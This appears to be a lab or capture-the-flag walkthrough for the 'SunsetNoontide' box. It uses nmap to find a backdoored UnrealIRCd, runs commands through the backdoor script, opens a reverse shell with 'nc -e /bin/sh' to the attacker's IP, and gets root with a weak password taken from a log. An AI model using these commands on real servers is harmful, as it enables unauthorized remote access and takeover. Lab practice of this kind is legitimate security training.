SunsetNoontide

Recon

Nmap results

```
nmap -sC -sV -p- 192.168.179.120

Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-05 14:10 CDT

Nmap scan report for 192.168.179.120

Host is up (0.063s latency).

Not shown: 65532 closed ports

PORT STATE SERVICE VERSION

6667/tcp open irc UnrealIRCd

6697/tcp open irc UnrealIRCd

8067/tcp open irc UnrealIRCd

Service Info: Host: irc.foonet.com
```

UnrealIRCd further enumeration.

```
nmap -sV --script=irc-unrealircd-backdoor 192.168.179.120

Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-05 14:12 CDT

Nmap scan report for 192.168.179.120

Host is up (0.069s latency).

Not shown: 999 closed ports

PORT STATE SERVICE VERSION

6667/tcp open irc UnrealIRCd

|_irc-unrealircd-backdoor: Looks like trojaned version of unrealircd. See http://seclists.org/fulldisclosure/2010/Jun/277

Service Info: Host: irc.foonet.com
```

The scan results show that it is a trojaned version.

We can test if RCE works by telling the irc server to ping our machine.

Set up tcpdump on local machine.

```
tcpdump -Z root -i tun0 icmp
```

Then run this nmap script to excute commands on the irc server.

```
nmap -d -p6697 --script=irc-unrealircd-backdoor.nse --script-args=irc-unrealircd-
backdoor.command='ping -c 5 192.168.49.179' 192.168.179.120
```

```
    -[~/pg/boxes/sunsetnoontide]

    tcpdump -Z root -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
14:22:36.298077 IP 192.168.49.179 > 192.168.179.120: ICMP echo request, id 45762, seq 0, length 8
14:22:36.298317 IP 192.168.49.179 > 192.168.179.120: ICMP time stamp query id 56047 seq 0, length 20
14:22:36.358847 IP 192.168.179.120 > 192.168.49.179: ICMP time stamp reply id 56047 seq 0: org 00:00:00
22:42.518, xmit 19:22:42.518, length 20
14:22:53.901122 IP 192.168.179.120 > 192.168.49.179: ICMP echo request, id 1046, seq 1, length 64
14:22:53.901146 IP 192.168.49.179 > 192.168.179.120: ICMP echo reply, id 1046, seq 1, length 64
14:22:54.902737 IP 192.168.179.120 > 192.168.49.179: ICMP echo request, id 1046, seq 2, length 64
14:22:54.902761 IP 192.168.49.179 > 192.168.179.120: ICMP echo reply, id 1046, seq 2, length 64
14:22:55.904015 IP 192.168.179.120 > 192.168.49.179: ICMP echo request, id 1046, seq 3, length 64
14:22:55.904034 IP 192.168.49.179 > 192.168.179.120: ICMP echo reply, id 1046, seq 3, length 64
14:22:56.905458 IP 192.168.179.120 > 192.168.49.179: ICMP echo request, id 1046, seq 4, length 64
14:22:56.905481 IP 192.168.49.179 > 192.168.179.120: ICMP echo reply, id 1046, seq 4, length 64
14:22:57.907158 IP 192.168.179.120 > 192.168.49.179: ICMP echo request, id 1046, seq 5, length 64
14:22:57.907177 IP 192.168.49.179 > 192.168.179.120: ICMP echo reply, id 1046, seq 5, length 64
```

We are getting pings back from the machine which means RCE works. Now lets make it execute netcat and connect back to our machine.

Nmap command for RCE:

```
nmap -d -p6697 --script=irc-unrealircd-backdoor.nse --script-args=irc-unrealircd-backdoor.command='nc -e /bin/sh 192.168.49.179 9001' 192.168.179.120
```

Listener:

nc -lvnp 9001

```
(root kali) - [~/pg/boxes/sunsetnoontide]
# nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.49.179] from (UNKNOWN) [192.168.179.120] 35190
id
uid=1000(server) gid=1000(server) groups=1000(server),24(cdrom),25(floppy),29(
9(netdev),111(bluetooth)
whoami
server
```

System enumeration and Privilege escalation

Lets check the Unreal3.2 directory and see what we find.

```
aliases
                                            ircd.log
                                                             README
                       configure
                       curl-ca-bundle.crt
                                                             spamfilter.conf
autoconf
                                            ircd.pid
badwords.channel.conf
                       curlinstall
                                            ircd.pid.bak
                                                             src
badwords.message.conf
                       cvs
                                            ircd.tune
                                                             tmp
                       dccallow.conf
badwords.quit.conf
                                                             unreal
                                            keys
                                                             unreal.in
Changes
                       doc
                                            LICENSE
                                            Makefile
                                                             unrealircd.conf
Changes.old
                       Donation
Config
                                            Makefile.in
                                                             unrealircd.conf.old
                       extras
                                            makefile.win32
config.guess
                       help.conf
                                                             Unreal.nfo
config.log
                       include
                                            modulize
                                                             update
config.settings
                       INSTALL.REMOTEINC
                                            m template.c
                                                             wircd.def
config.status
                       install-sh
                                            networks
config.sub
                       ircdcron
                                            newnet
```

Reveiwing the ircd.log, we find a root login with plain text credentials.

```
[Sat Aug 8 19:52:14 2020] - Connect - root!root@192.168.100.139 [VHOST B90BA746.B64A8BD2.EA8777A3.IP]
[Sat Aug 8 19:54:45 2020] - Disconnect - (0:2:32) root!root@192.168.100.139 [VHOST B90BA746.B64A8BD2.EA8777A3.IP]
```

The password is root.

Su as the root user.

```
su root
root
id
id
uid=0(root) gid=0(root) groups=0(root)
```